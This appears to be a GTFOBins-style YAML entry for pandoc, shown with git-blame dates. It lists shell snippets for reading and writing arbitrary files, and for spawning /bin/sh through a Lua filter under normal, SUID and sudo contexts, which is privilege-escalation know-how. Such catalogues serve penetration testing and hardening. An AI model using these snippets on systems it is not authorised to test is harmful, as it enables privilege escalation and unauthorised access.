2022-12-16 14:36:44 +01:00
|
|
|
---
|
|
|
|
functions:
|
|
|
|
file-read:
|
|
|
|
- code: |
|
|
|
|
LFILE=file_to_read
|
|
|
|
pandoc -t plain "$LFILE"
|
|
|
|
file-write:
|
|
|
|
- code: |
|
|
|
|
LFILE=file_to_write
|
|
|
|
echo DATA | pandoc -t plain -o "$LFILE"
|
2023-12-23 13:58:05 +01:00
|
|
|
shell:
|
|
|
|
- description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
|
|
|
|
code: |
|
|
|
|
TF=$(mktemp)
|
|
|
|
echo 'os.execute("/bin/sh")' >$TF
|
|
|
|
pandoc -L $TF /dev/null
|
2022-12-16 14:36:44 +01:00
|
|
|
suid:
|
|
|
|
- code: |
|
|
|
|
LFILE=file_to_write
|
|
|
|
echo DATA | ./pandoc -t plain -o "$LFILE"
|
2023-12-23 13:58:05 +01:00
|
|
|
limited-suid:
|
|
|
|
- description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
|
|
|
|
code: |
|
|
|
|
TF=$(mktemp)
|
|
|
|
echo 'os.execute("/bin/sh")' >$TF
|
|
|
|
./pandoc -L $TF /dev/null
|
2022-12-16 14:36:44 +01:00
|
|
|
sudo:
|
2023-12-23 13:58:05 +01:00
|
|
|
- description: Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.
|
|
|
|
code: |
|
|
|
|
TF=$(mktemp)
|
|
|
|
echo 'os.execute("/bin/sh")' >$TF
|
|
|
|
sudo pandoc -L $TF /dev/null
|
2022-12-16 14:36:44 +01:00
|
|
|
---
|